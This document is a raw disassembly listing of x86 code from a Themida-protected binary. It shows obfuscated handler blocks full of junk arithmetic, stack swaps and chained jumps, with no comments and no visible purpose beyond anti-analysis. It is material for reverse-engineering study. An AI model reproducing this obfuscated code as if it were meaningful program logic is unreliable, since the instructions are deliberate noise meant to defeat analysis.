; ---------------------------------------------------------------------------
loc_590317: ; CODE XREF: Themida_:005907A3j
pop esi
mov edx, edi
pop edi
add ebx, edx
pop edx
push esi
mov esi, 697C3E4Bh
and esi, 51EB0C21h
or esi, 59D452E9h
jmp loc_58BB27
; ---------------------------------------------------------------------------
loc_590335: ; CODE XREF: Themida_:005951EEj
mov esp, [esp]
xchg edx, [esp]
mov esp, [esp]
jmp loc_589462
; ---------------------------------------------------------------------------
loc_590343: ; CODE XREF: Themida_:00594E1Ej
push 2C471FC9h
jmp loc_58FE98
; ---------------------------------------------------------------------------
loc_59034D: ; CODE XREF: Themida_:0059117Cj
sub esp, 4
mov [esp], edx
jmp loc_594E95
; ---------------------------------------------------------------------------
loc_590358: ; CODE XREF: Themida_:0058BAA7j
sub ebp, 2
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
jmp loc_58B844
; ---------------------------------------------------------------------------
loc_59036C: ; CODE XREF: Themida_:00591B91j
add edx, 4
add edx, 4
jmp loc_59194A
; ---------------------------------------------------------------------------
loc_59037A: ; CODE XREF: Themida_:00593F37j
push ebx
mov ebx, 1DB32470h
jmp loc_58BF7F
; ---------------------------------------------------------------------------
loc_590385: ; CODE XREF: Themida_:0058F28Dj
jmp loc_589462
; ---------------------------------------------------------------------------
loc_59038A: ; CODE XREF: Themida_:00592144j
mov esi, 476947B3h
xor esi, 1ADD1DE9h
jmp loc_59162A
; ---------------------------------------------------------------------------
loc_59039A: ; CODE XREF: Themida_:00593FCAj
pop ecx
sub al, dl
push bx
mov bl, 19h
add al, bl
pop bx
push dword ptr [esp]
pop edx
add esp, 4
push ebx
jmp loc_58CF52
; ---------------------------------------------------------------------------
loc_5903B2: ; CODE XREF: Themida_:005940B2j
add al, ch
pop ecx
sub esp, 4
mov [esp], ecx
push edx
push 289Bh
mov [esp], eax
mov al, 70h
mov dl, al
pop eax
push 1FE5h
mov [esp], ebx
mov bh, dl
jmp loc_5946A5
; ---------------------------------------------------------------------------
loc_5903D8: ; CODE XREF: Themida_:0058E619j
mov ecx, 2314347Dh
dec ecx
xor ecx, 10BF1844h
jmp loc_58F3B4
; ---------------------------------------------------------------------------
loc_5903E9: ; CODE XREF: Themida_:00589505j
xchg eax, [esp]
pop esp
push eax
jmp loc_58C091
; ---------------------------------------------------------------------------
mov ax, [esp]
push eax
push ecx
mov ecx, esp
push 398Bh
mov [esp], esi
mov esi, 5F2C6A38h
or esi, 7154503Ch
inc esi
not esi
or esi, 0C041532h
sub esi, 8C8795EEh
jmp loc_58DD65
; ---------------------------------------------------------------------------
loc_590422: ; CODE XREF: Themida_:005915D0j
push 35F0h
mov [esp], ebx
mov ebx, 6FFF786Eh
push edi
mov edi, 28E21D12h
jmp loc_5932BD
; ---------------------------------------------------------------------------
loc_59043A: ; CODE XREF: Themida_:0058B25Fj
pop esp
xor ebx, eax
xor edx, eax
jmp loc_589462
; ---------------------------------------------------------------------------
loc_590444: ; CODE XREF: Themida_:0058B0A3j
add eax, ebp
sub eax, 3FA13472h
jmp loc_592E71
; ---------------------------------------------------------------------------
loc_590450: ; CODE XREF: Themida_:0059586Bj
xchg eax, [esp]
mov esp, [esp]
jmp loc_58FACB
; ---------------------------------------------------------------------------
push dword ptr [edi+2Ch]
jmp loc_589462
; ---------------------------------------------------------------------------
loc_590463: ; CODE XREF: Themida_:0058C395j
add edi, ebp
jmp loc_592037
; ---------------------------------------------------------------------------
loc_59046A: ; CODE XREF: Themida_:0058FE79j
push ecx
mov ecx, 21D43DBh
add ecx, 22682043h
sub ecx, 0F31259DFh
sub ebp, ecx
pop ecx
xor ebp, 26336288h
add edi, ebp
pop ebp
add edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
test ecx, eax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_5904A2: ; CODE XREF: Themida_:0058ACD4j
sub ecx, ebx
pop ebx
add ecx, eax
add ecx, 327F11C7h
pop eax
add ecx, 2
jmp loc_591CF1
; ---------------------------------------------------------------------------
loc_5904B6: ; CODE XREF: Themida_:0058C7EAj
pop edi
mov edx, ebp
pop ebp
jmp loc_58EF37
; ---------------------------------------------------------------------------
loc_5904BF: ; CODE XREF: Themida_:00590169j
sub edx, esi
jmp loc_594EC2
; ---------------------------------------------------------------------------
loc_5904C6: ; CODE XREF: Themida_:00590D0Ej
push ecx
mov ecx, 7AE60A5h
or ecx, 759D02D3h
push ebx
mov ebx, 492C6FD1h
dec ebx
xchg edi, ebx
xchg ebp, edi
not ebp
jmp loc_58A51C
; ---------------------------------------------------------------------------
loc_5904E4: ; CODE XREF: Themida_:00591754j
pop ecx
push ebp
mov ebp, 1CE495Eh
jmp loc_590B34
; ---------------------------------------------------------------------------
loc_5904F0: ; CODE XREF: Themida_:0058AA80j
mov ecx, 0
add ecx, ebx
add eax, [ecx]
pop ecx
jmp loc_59513B
; ---------------------------------------------------------------------------
loc_5904FF: ; CODE XREF: Themida_:0059370Ej
push edi
mov edi, 18382C9Eh
mov esi, edi
pop edi
or esi, 710B601Ah
add esi, 1
shr esi, 2
shl esi, 7
jmp loc_5912F6
; ---------------------------------------------------------------------------
loc_59051C: ; CODE XREF: Themida_:00595257j
pop eax
or esi, 15C32DABh
xchg ebx, esi
inc ebx
xchg ebx, esi
jmp loc_58A7FA
; ---------------------------------------------------------------------------
loc_59052D: ; CODE XREF: Themida_:005940F8j
pop eax
shl edx, 5
jmp loc_592E41
; ---------------------------------------------------------------------------
loc_590536: ; CODE XREF: Themida_:0058CF07j
push eax
jmp loc_5921FC
; ---------------------------------------------------------------------------
loc_59053C: ; CODE XREF: Themida_:0058BCD6j
mov ebp, edx
pop edx
jmp loc_594FD7
; ---------------------------------------------------------------------------
loc_590544: ; CODE XREF: Themida_:00592808j
add ecx, esi
jmp loc_58B322
; ---------------------------------------------------------------------------
loc_59054B: ; CODE XREF: Themida_:005934FDj
push 2D4E2087h
jmp loc_589DB2
; ---------------------------------------------------------------------------
loc_590555: ; CODE XREF: Themida_:00591B1Cj
mov ah, 21h
and dh, ah
mov eax, [esp]
add esp, 4
push ecx
jmp loc_58D192
; ---------------------------------------------------------------------------
loc_590565: ; CODE XREF: Themida_:0058AB8Aj
mov ax, [esp]
jmp loc_58A9E3
; ---------------------------------------------------------------------------
loc_59056E: ; CODE XREF: Themida_:005920DDj
sub edx, 1A6C3AF0h
add edx, 54E6854h
add edx, eax
jmp loc_58EC8E
; ---------------------------------------------------------------------------
loc_590581: ; CODE XREF: Themida_:00593E85j
pop ecx
pop dword ptr [esp]
pop esp
sub ecx, 31AC112Eh
jmp loc_5900DB
; ---------------------------------------------------------------------------
loc_590591: ; CODE XREF: Themida_:00593FA2j
pop ebx
jmp loc_590CD1
; ---------------------------------------------------------------------------
loc_590597: ; CODE XREF: Themida_:0058FF24j
mov [esp], eax
push edi
jmp loc_5917B0
; ---------------------------------------------------------------------------
loc_5905A0: ; CODE XREF: Themida_:00593073j
push ebx
push 2
jmp loc_58CA85
; ---------------------------------------------------------------------------
loc_5905AB: ; CODE XREF: Themida_:0058DC9Ej
xor edx, eax
pop eax
jmp loc_58D631
; ---------------------------------------------------------------------------
loc_5905B3: ; CODE XREF: Themida_:0059185Bj
pop edi
xor esi, 737759DDh
jmp loc_58DF7A
; ---------------------------------------------------------------------------
loc_5905BF: ; CODE XREF: Themida_:0058DFFCj
xor edx, 1214200Dh
add ecx, edx
pop edx
add ecx, 4
jmp loc_5916D6
; ---------------------------------------------------------------------------
loc_5905D3: ; CODE XREF: Themida_:005915C7j
mov esp, [esp]
mul cx
jmp loc_58CD11
; ---------------------------------------------------------------------------
mov ax, [esp]
push eax
push esp
mov eax, [esp]
add esp, 4
push 4CB8h
mov [esp], ebp
jmp loc_58B2BF
; ---------------------------------------------------------------------------
loc_5905F7: ; CODE XREF: Themida_:005947DEj
pop esi
jmp loc_58BF9E
; ---------------------------------------------------------------------------
loc_5905FD: ; CODE XREF: Themida_:00591A1Bj
push edi
mov edi, 59110D03h
sub edi, 6B645C49h
xor edi, 55E9BE28h
sub ecx, edi
jmp loc_58D334
; ---------------------------------------------------------------------------
loc_590616: ; CODE XREF: Themida_:0058BD37j
xor [esp], edi
xor edi, [esp]
xor [esp], edi
jmp loc_589B0F
; ---------------------------------------------------------------------------
loc_590624: ; CODE XREF: Themida_:00593330j
push small 3EEEh
mov [esp], ax
jmp loc_589462
; ---------------------------------------------------------------------------
loc_590631: ; CODE XREF: Themida_:00592EDEj
mov ebp, 34FC2632h
add ebp, 2C8855D6h
sub ebx, ebp
pop ebp
dec ebx
sub ebx, 0FFFFFFFFh
add ebx, 6C99CC90h
sub ebp, 712D6B25h
sub ebp, 339181Eh
jmp loc_58EA53
; ---------------------------------------------------------------------------
loc_59065D: ; CODE XREF: Themida_:00592F5Ej
shl dh, 5
xor dh, 6Bh
sub dh, 68h
push edx
mov dl, 0C0h
neg dl
add dl, 93h
or dl, 0F8h
jmp loc_58BD0F
; ---------------------------------------------------------------------------
loc_590676: ; CODE XREF: Themida_:0058E51Cj
xor ebx, edi
jmp loc_5936A8
; ---------------------------------------------------------------------------
loc_59067D: ; CODE XREF: Themida_:0058AC06j
xor ebp, [esp]
jmp loc_58CC12
; ---------------------------------------------------------------------------
loc_590685: ; CODE XREF: Themida_:0058FDB1j
push ebx
mov ebx, 4B1A4C68h
dec ebx
and ebx, 4543BA1h
jmp loc_590FA7
; ---------------------------------------------------------------------------
loc_590697: ; CODE XREF: Themida_:00590C63j
push esi
sub esp, 4
jmp loc_58FE89
; ---------------------------------------------------------------------------
loc_5906A3: ; CODE XREF: Themida_:00589AAEj
sub ebp, esi
mov esi, [esp]
add esp, 4
add ebp, eax
add ebp, 6D7583Dh
jmp loc_58A81A
; ---------------------------------------------------------------------------
loc_5906BB: ; CODE XREF: Themida_:005956FCj
pop bx
push ecx
mov ch, ah
jmp loc_58ADAA
; ---------------------------------------------------------------------------
loc_5906C5: ; CODE XREF: Themida_:0058F72Bj
pop esi
add eax, ebx
push edi
push esi
mov esi, 325827F0h
inc esi
not esi
jmp loc_591567
; ---------------------------------------------------------------------------
loc_5906D7: ; CODE XREF: Themida_:0059318Fj
mov eax, [esp]
add esp, 4
jmp loc_58A409
; ---------------------------------------------------------------------------
loc_5906E5: ; CODE XREF: Themida_:0058ECD4j
add ebx, 18127AFCh
sub ebx, edi
sub ebx, 18127AFCh
jmp loc_58D56B
; ---------------------------------------------------------------------------
loc_5906F8: ; CODE XREF: Themida_:0058E8B7j
xor ebx, [esp]
pop esp
shl byte ptr [esp], cl
pushf
jmp loc_58E76C
; ---------------------------------------------------------------------------
loc_590705: ; CODE XREF: Themida_:0058A2CDj
xor edi, ecx
pop ecx
push ecx
mov ecx, 5EB50A1Bh
add edi, 1EA527BFh
add edi, ecx
sub edi, 1EA527BFh
jmp loc_592FAD
; ---------------------------------------------------------------------------
loc_590721: ; CODE XREF: Themida_:0058D82Cj
and eax, 7B01C78h
shr eax, 7
push ecx
mov ecx, 479E7FC2h
jmp loc_58F01D
; ---------------------------------------------------------------------------
mov ecx, [esp]
push 2A90h
mov [esp], eax
push esp
jmp loc_58CE81
; ---------------------------------------------------------------------------
loc_590745: ; CODE XREF: Themida_:0058F278j
sub edi, 0FAAD363Fh
mov ecx, edi
pop edi
jmp loc_58F983
; ---------------------------------------------------------------------------
loc_590753: ; CODE XREF: Themida_:00589626j
add eax, 3EE1608Dh
shr eax, 1
add eax, 0DE2D42F5h
add ebx, eax
pop eax
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ebx
jmp loc_5923E0
; ---------------------------------------------------------------------------
loc_590779: ; CODE XREF: Themida_:00589A8Aj
mov ecx, 46A325BCh
dec ecx
jmp loc_58B26E
; ---------------------------------------------------------------------------
loc_590784: ; CODE XREF: Themida_:0058D85Bj
mov edx, esi
jmp loc_59504C
; ---------------------------------------------------------------------------
mov ax, [esp]
push ecx
push ebx
mov ebx, esp
push edx
push edi
push 4725EF4h
pop edi
push esi
mov esi, 0FB8DA110h
add edi, esi
jmp loc_590317
; ---------------------------------------------------------------------------
loc_5907A8: ; CODE XREF: Themida_:0059315Dj
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
push ecx
jmp loc_58A2D8
; ---------------------------------------------------------------------------
loc_5907BA: ; CODE XREF: Themida_:00594D92j
add ecx, 19D90DABh
pop ebx
sub esp, 4
mov [esp], edi
jmp loc_58C97B
; ---------------------------------------------------------------------------
loc_5907CC: ; CODE XREF: Themida_:00590898j
sub ebx, 0EB8612DBh
add esi, ebx
pop ebx
jmp loc_592AFC
; ---------------------------------------------------------------------------
loc_5907DA: ; CODE XREF: Themida_:00589B18j
xor edx, eax
xor eax, edx
push edi
push ebp
sub esp, 4
jmp loc_5931A6
; ---------------------------------------------------------------------------
loc_5907E8: ; CODE XREF: Themida_:0058CC3Ej
push 0
push dword ptr [esp]
pop edx
push ecx
mov ecx, esp
add ecx, 4
push edx
mov edx, 598F40DAh
neg edx
jmp loc_5908C9
; ---------------------------------------------------------------------------
loc_590807: ; CODE XREF: Themida_:00594393j
push edx
push 1C5075CAh
pop edx
jmp loc_58A1E8
; ---------------------------------------------------------------------------
loc_590813: ; CODE XREF: Themida_:0058E4F5j
pop edx
sub cl, 2Ah
jmp loc_5932C3
; ---------------------------------------------------------------------------
loc_59081C: ; CODE XREF: Themida_:0058FC18j
push esp
pop esi
push eax
push ecx
mov ecx, 4
mov eax, ecx
jmp loc_590A5A
; ---------------------------------------------------------------------------
loc_59082C: ; CODE XREF: Themida_:00592F49j
add edi, 86A5E9B6h
sub ebx, 468F6ED0h
add ebx, 32996C91h
jmp loc_58CB4C
; ---------------------------------------------------------------------------
loc_590843: ; CODE XREF: Themida_:00591DA0j
not dl
add dl, 0EFh
dec dl
add dl, 85h
add dl, 0FFh
sub dl, 0D0h
jmp loc_592B46
; ---------------------------------------------------------------------------
loc_590858: ; CODE XREF: Themida_:00591F6Fj
add edx, ebp
pop ebp
jmp loc_58F8DB
; ---------------------------------------------------------------------------
loc_590860: ; CODE XREF: Themida_:00593664j
xor edx, 253E082Eh
jmp loc_58EEE0
; ---------------------------------------------------------------------------
loc_59086B: ; CODE XREF: Themida_:0058B8FEj
mov [esp], ebx
push edi
mov edi, 249B7690h
push 8C92BA5h
pop ebx
neg ebx
neg ebx
and ebx, 52684A4Fh
sub ebx, 0D89EDDC2h
jmp loc_58D5B2
; ---------------------------------------------------------------------------
loc_59088F: ; CODE XREF: Themida_:0058E2A6j
inc ebx
or ebx, 63320385h
neg ebx
jmp loc_5907CC
; ---------------------------------------------------------------------------
loc_59089D: ; CODE XREF: Themida_:0058F7A0j
mov ebx, edi
pop edi
push edi
jmp loc_590FCC
; ---------------------------------------------------------------------------
mov ax, fs:[edx]
push small 5308h
mov [esp], ax
jmp loc_58A46A
; ---------------------------------------------------------------------------
loc_5908B7: ; CODE XREF: Themida_:0058A8DCj
mov [esp], edi
mov edi, esp
jmp loc_592B58
; ---------------------------------------------------------------------------
loc_5908C1: ; CODE XREF: Themida_:0058963Fj
push edi
mov edi, esp
jmp loc_594245
; ---------------------------------------------------------------------------
loc_5908C9: ; CODE XREF: Themida_:00590802j
shr edx, 4
jmp loc_58B1DE
; ---------------------------------------------------------------------------
loc_5908D1: ; CODE XREF: Themida_:0058C93Aj
add esp, 4
add ecx, 4
sub ecx, 4
jmp loc_593A63
; ---------------------------------------------------------------------------
loc_5908E8: ; CODE XREF: Themida_:005915F9j
shr edx, 7
sub edx, 24892FAAh
xor edx, 0D3DA3E03h
add ecx, edx
pop edx
mov edi, ecx
jmp loc_58D22A
; ---------------------------------------------------------------------------
loc_590901: ; CODE XREF: Themida_:0058C01Aj
add eax, 6A067A81h
push edx
mov edx, 484629BBh
shl edx, 4
not edx
sub edx, 0C675BC8h
jmp loc_58E521
; ---------------------------------------------------------------------------
loc_59091C: ; CODE XREF: Themida_:0059179Aj
add ebx, 24267EACh
sub ebx, 57420034h
add ebx, 5395680h
push dword ptr [ebx]
mov eax, [esp]
add esp, 4
push dword ptr [esp]
jmp loc_58949D
; ---------------------------------------------------------------------------
loc_590941: ; CODE XREF: Themida_:0059238Aj
pop eax
shl edx, 7
or edx, 5ACF4B51h
xor edx, 50365AF2h
jmp loc_595296
; ---------------------------------------------------------------------------
loc_590956: ; CODE XREF: Themida_:005898C3j
add ecx, 4
add ecx, 4
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
add edx, 57855807h
push ebx
mov ebx, 1C6C04C2h
push edx
mov edx, 60AD5318h
push edi
mov edi, 7F9F01F3h
add ebx, edi
jmp loc_58CDC4
; ---------------------------------------------------------------------------
loc_590990: ; CODE XREF: Themida_:00595B47j
mov ecx, 36A10B9Fh
add [esp+8], ecx
pop ecx
mov ebx, [esp]
jmp loc_590EB6
; ---------------------------------------------------------------------------
loc_5909A2: ; CODE XREF: Themida_:005933C8j
mov [esp], eax
mov al, 0Ah
neg al
neg al
shl al, 8
dec al
sub al, 0FFh
sub al, 70h
jmp loc_58AAC3
; ---------------------------------------------------------------------------
loc_5909B9: ; CODE XREF: Themida_:0058C5B7j
push 1908h
jmp loc_59444C
; ---------------------------------------------------------------------------
loc_5909C3: ; CODE XREF: Themida_:0058B365j
not ebx
shl ebx, 2
xor ebx, 0F13C3476h
add edx, 3C1115EEh
jmp loc_59409F
; ---------------------------------------------------------------------------
loc_5909D9: ; CODE XREF: Themida_:00595A92j
xor edi, 528EB5h
add ebx, edi
jmp loc_5902EF
; ---------------------------------------------------------------------------
loc_5909E6: ; CODE XREF: Themida_:005936A9j
not ebx
add ebx, 1CFBF398h
add eax, ebx
pop ebx
push edi
mov edi, 67ED6CA1h
and edi, 6F1924ABh
shr edi, 3
shr edi, 6
jmp loc_5942B8
; ---------------------------------------------------------------------------
loc_590A08: ; CODE XREF: Themida_:00592C8Ej
add eax, edi
pop edi
xchg eax, [esp]
mov esp, [esp]
jmp loc_59284E
; ---------------------------------------------------------------------------
loc_590A16: ; CODE XREF: Themida_:00591040j
movsx ecx, al
jmp loc_58A557
; ---------------------------------------------------------------------------
loc_590A1E: ; CODE XREF: Themida_:0058EBDEj
mov [esp], dx
jmp loc_591D92
; ---------------------------------------------------------------------------
loc_590A27: ; CODE XREF: Themida_:00593229j
add eax, edx
sub eax, 564A54A6h
push ebp
jmp loc_5953D2
; ---------------------------------------------------------------------------
loc_590A34: ; CODE XREF: Themida_:00593FE5j
mov esp, [esp]
push ecx
mov ch, 6Eh
jmp loc_58EB51
; ---------------------------------------------------------------------------
loc_590A3F: ; CODE XREF: Themida_:0058FD7Dj
add esi, 0C86B2740h
and ebp, esi
mov esi, [esp]
add esp, 4
push 17DAh
mov [esp], edi
jmp loc_58C7DA
; ---------------------------------------------------------------------------
loc_590A5A: ; CODE XREF: Themida_:00590827j
pop ecx
jmp loc_592CA1
; ---------------------------------------------------------------------------
loc_590A60: ; CODE XREF: Themida_:0058D2CCj
mov ecx, 4
add edx, ecx
pop ecx
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
add esp, 4
push small word ptr [eax]
jmp loc_589462
; ---------------------------------------------------------------------------
loc_590A80: ; CODE XREF: Themida_:0058ACF1j
mov edx, 727A5EB8h
jmp loc_58C79D
; ---------------------------------------------------------------------------
loc_590A8A: ; CODE XREF: Themida_:00589EA6j
add edx, 34F729F4h
shl edx, 3
shl edx, 8
inc edx
jmp loc_589661
; ---------------------------------------------------------------------------
loc_590A9C: ; CODE XREF: Themida_:0058C437j
add cl, al
pop eax
add cl, 91h
add cl, 0E0h
add bh, cl
pop ecx
jmp loc_593631
; ---------------------------------------------------------------------------
loc_590AAD: ; CODE XREF: Themida_:00594797j
pop eax
pop ecx
sub eax, 34EA330Dh
add eax, 392A1F35h
jmp loc_590BA8
; ---------------------------------------------------------------------------
loc_590ABE: ; CODE XREF: Themida_:0059355Cj
not edx
neg edx
jmp loc_59139F
; ---------------------------------------------------------------------------
loc_590AC7: ; CODE XREF: Themida_:0058A7CFj
pop esp
mov [esp], edx
push 3E3C3832h
pop edx
add edx, 134F0B06h
jmp loc_58E1EF
; ---------------------------------------------------------------------------
loc_590ADC: ; CODE XREF: Themida_:00591A3Ej
xor ebx, 0EBEFBF53h
add ecx, 2D007E87h
sub ecx, ebx
jmp loc_59465F
; ---------------------------------------------------------------------------
loc_590AEF: ; CODE XREF: Themida_:005950C2j
mov ebx, 30066E6h
mov edx, ebx
pop ebx
jmp loc_58F6B2
; ---------------------------------------------------------------------------
loc_590AFC: ; CODE XREF: Themida_:0058A01Aj
add esp, 4
jmp loc_58C7BE
; ---------------------------------------------------------------------------
loc_590B07: ; CODE XREF: Themida_:0058CD0Cj
mov cl, 9Dh
sub al, cl
mov cx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 2
jmp loc_589A8F
; ---------------------------------------------------------------------------
loc_590B23: ; CODE XREF: Themida_:0059588Bj
pop edx
dec cl
inc cl
sub cl, 6Eh
add al, 6Fh
add al, 0E3h
jmp loc_590BDA
; ---------------------------------------------------------------------------
loc_590B34: ; CODE XREF: Themida_:005904EBj
neg ebp
shl ebp, 3
add ebp, 566905E7h
or ebp, 105032Ch
sub ebp, 646216E1h
xor ebp, 0B0E503Bh
jmp loc_593F90
; ---------------------------------------------------------------------------
loc_590B56: ; CODE XREF: Themida_:0059505Ej
add eax, edx
jmp loc_593B8C
; ---------------------------------------------------------------------------
loc_590B5D: ; CODE XREF: Themida_:005911E1j
push eax
push esp
pop eax
jmp loc_59585F
; ---------------------------------------------------------------------------
loc_590B65: ; CODE XREF: Themida_:0058E5B5j
mov di, 286Fh
push bx
mov bx, 5E5Ah
sub di, bx
pop bx
neg di
inc di
neg di
jmp loc_594E23
; ---------------------------------------------------------------------------
loc_590B81: ; CODE XREF: Themida_:0058F0BDj
add al, 52h
push ebx
jmp loc_58F097
; ---------------------------------------------------------------------------
loc_590B89: ; CODE XREF: Themida_:0058F64Dj
pop edx
sub ebx, 76FC2080h
sub ebx, eax
add ebx, 76FC2080h
jmp loc_5946BD
; ---------------------------------------------------------------------------
loc_590B9D: ; CODE XREF: Themida_:0058A55Fj
jmp loc_589462
; ---------------------------------------------------------------------------
loc_590BA2: ; CODE XREF: Themida_:00589630j
pop eax
jmp loc_58C129
; ---------------------------------------------------------------------------
loc_590BA8: ; CODE XREF: Themida_:00590AB9j
inc eax
shl eax, 7
jmp loc_58D6F4
; ---------------------------------------------------------------------------
loc_590BB1: ; CODE XREF: Themida_:0058E70Dj
push edx
mov edx, 1C935577h
xor edx, 71595D03h
not edx
shr edx, 2
shr edx, 1
jmp loc_5914E0
; ---------------------------------------------------------------------------
loc_590BC9: ; CODE XREF: Themida_:005910FDj
xor dword ptr [edx], 0E07221Fh
mov edx, [esp]
add esp, 4
jmp loc_589C41
; ---------------------------------------------------------------------------
loc_590BDA: ; CODE XREF: Themida_:00590B2Fj
add al, cl
sub al, 0E3h
push dx
mov dl, 6Fh
sub al, dl
jmp loc_58DA18
; ---------------------------------------------------------------------------
loc_590BE9: ; CODE XREF: Themida_:00589E7Bj
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_58A436
; ---------------------------------------------------------------------------
loc_590BF7: ; CODE XREF: Themida_:005915FFj
xchg eax, ecx
jmp loc_591C35
; ---------------------------------------------------------------------------
loc_590BFD: ; CODE XREF: Themida_:0058AC39j
push ecx
mov ecx, 4
mov ebp, ecx
pop ecx
jmp loc_58B7BC
; ---------------------------------------------------------------------------
loc_590C0B: ; CODE XREF: Themida_:005958AAj
xor ebp, 8974C8h
jmp loc_589BAA
; ---------------------------------------------------------------------------
loc_590C16: ; CODE XREF: Themida_:00589A45j
push small 851h
jmp loc_59010D
; ---------------------------------------------------------------------------
loc_590C1F: ; CODE XREF: Themida_:00592AA3j
not edi
or edi, 447D4422h
jmp loc_58BCB1
; ---------------------------------------------------------------------------
loc_590C2C: ; CODE XREF: Themida_:0058F2DDj
and edx, 17AC2CCAh
shl edx, 3
push eax
mov eax, 15CD62EBh
xor edx, eax
pop eax
shr edx, 8
jmp loc_58B114
; ---------------------------------------------------------------------------
loc_590C46: ; CODE XREF: Themida_:00595591j
not edi
jmp loc_594591
; ---------------------------------------------------------------------------
loc_590C4D: ; CODE XREF: Themida_:00593E51j
add edx, ebx
jmp loc_591610
; ---------------------------------------------------------------------------
loc_590C54: ; CODE XREF: Themida_:0059127Cj
or ebx, 796175A4h
xor ebx, 6B653823h
add eax, ebx
pop ebx
jmp loc_590697
; ---------------------------------------------------------------------------
loc_590C68: ; CODE XREF: Themida_:00590D30j
push ebp
mov ebp, 4
add edx, ebp
jmp loc_58C173
; ---------------------------------------------------------------------------
loc_590C75: ; CODE XREF: Themida_:00592619j
xchg ebx, [esp]
pop esp
add esi, 4
add esi, 2
xchg esi, [esp]
mov esp, [esp]
shl byte ptr [esp], cl
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
pop dword ptr [edi+40h]
jmp loc_589462
; ---------------------------------------------------------------------------
loc_590C9C: ; CODE XREF: Themida_:0058A90Bj
jmp loc_589462
; ---------------------------------------------------------------------------
loc_590CA1: ; CODE XREF: Themida_:00589829j
add ecx, 3CAD0629h
sub ebx, ecx
mov ecx, [esp]
add esp, 4
neg ebx
sub ebx, 8DC91779h
jmp loc_58ADB3
; ---------------------------------------------------------------------------
loc_590CBC: ; CODE XREF: Themida_:0058BCDDj
push edx
mov edx, 8BB65895h
jmp loc_58B317
; ---------------------------------------------------------------------------
loc_590CC7: ; CODE XREF: Themida_:00594FD2j
mov edx, 0
jmp loc_58EAF1
; ---------------------------------------------------------------------------
loc_590CD1: ; CODE XREF: Themida_:00590592j
add ebx, 4
push edx
mov edx, 4
add ebx, edx
jmp loc_595A3D
; ---------------------------------------------------------------------------
loc_590CE4: ; CODE XREF: Themida_:0059394Fj
xor ebp, esi
pop esi
and eax, ebp
push dword ptr [esp]
pop ebp
add esp, 4
or eax, eax
jz loc_58B6EA
push 6C81h
mov [esp], edx
push edi
jmp loc_58E2F3
; ---------------------------------------------------------------------------
loc_590D09: ; CODE XREF: Themida_:00594322j
xor edx, eax
xor eax, edx
push ebx
jmp loc_5904C6
; ---------------------------------------------------------------------------
loc_590D13: ; CODE XREF: Themida_:005930F1j
push dword ptr [esp]
pop edi
jmp loc_58A2FF
; ---------------------------------------------------------------------------
loc_590D1C: ; CODE XREF: Themida_:005895E4j
add esp, 4
or eax, eax
jz loc_58AF56
push dword ptr [edi+1Ch]
push edx
mov edx, esp
jmp loc_590C68
; ---------------------------------------------------------------------------
loc_590D35: ; CODE XREF: Themida_:00595849j
mov edx, 4
add esi, 5A101F3h
jmp loc_59481C
; ---------------------------------------------------------------------------
loc_590D45: ; CODE XREF: Themida_:0058DF96j
jmp loc_589462
; ---------------------------------------------------------------------------
loc_590D4A: ; CODE XREF: Themida_:00594A8Bj
mov [esp], esi
jmp loc_58F171
; ---------------------------------------------------------------------------
loc_590D52: ; CODE XREF: Themida_:0058CD9Dj
push 187Ch
jmp loc_591B19
; ---------------------------------------------------------------------------
mov eax, [esp]
push 2FCDh
jmp loc_58B691
; ---------------------------------------------------------------------------
loc_590D69: ; CODE XREF: Themida_:0058F490j
mov [esp], esp
add dword ptr [esp], 4
mov eax, [esp]
add esp, 4
push 1B34h
mov [esp], ebx
mov ebx, 4
sub eax, 0D5C69D7h
add eax, 6CFD651Eh
add eax, ebx
push ebp
mov ebp, 484D5FEAh
jmp loc_59007E
; ---------------------------------------------------------------------------
loc_590D9D: ; CODE XREF: Themida_:0059360Cj
xor eax, [esp]
mov esp, [esp]
mov [esp], edx
push eax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_589462
; ---------------------------------------------------------------------------
loc_590DB4: ; CODE XREF: Themida_:0058E72Fj
mov [esp], edx
mov edx, esp
add edx, 4
jmp loc_58DBF5
; ---------------------------------------------------------------------------
loc_590DC4: ; CODE XREF: Themida_:0058F80Dj
sub esp, 4
mov [esp], eax
push ecx
jmp loc_59308D
; ---------------------------------------------------------------------------
loc_590DD0: ; CODE XREF: Themida_:0058A81Dj
add esp, 4
jmp loc_59361C
; ---------------------------------------------------------------------------
loc_590DDB: ; CODE XREF: Themida_:0058BABBj
add edx, ebp
jmp loc_5920A5
; ---------------------------------------------------------------------------
loc_590DE2: ; CODE XREF: Themida_:0059450Cj
add ecx, edi
push dword ptr [esp]
jmp loc_58A0F0
; ---------------------------------------------------------------------------
loc_590DEC: ; CODE XREF: Themida_:0058C205j
mov ebx, 80h
and ecx, ebx
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
jmp loc_58E0BE
; ---------------------------------------------------------------------------
loc_590E04: ; CODE XREF: Themida_:00592740j
push cx
jmp loc_593D52
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
push esp
pop edx
add edx, 4
push eax
mov eax, 4
sub edx, eax
pop eax
push edx
push dword ptr [esp+4]
push dword ptr [esp]
pop edx
jmp loc_58F67D
; ---------------------------------------------------------------------------
loc_590E2F: ; CODE XREF: Themida_:0058F150j
pop ecx
jmp loc_58EE07
; ---------------------------------------------------------------------------
loc_590E35: ; CODE XREF: Themida_:0058DF19j
push edi
mov edi, 800h
mov ebp, edi
pop edi
mov edi, ebp
jmp loc_5899EF
; ---------------------------------------------------------------------------
loc_590E45: ; CODE XREF: Themida_:0058D4EDj
mov [esp], edi
push 2
push dword ptr [esp]
pop edi
add esp, 4
mov ebp, edi
pop edi
sub esi, ebp
mov ebp, [esp]
push ebx
mov ebx, esp
jmp loc_58BDB0
; ---------------------------------------------------------------------------
loc_590E64: ; CODE XREF: Themida_:005897C6j
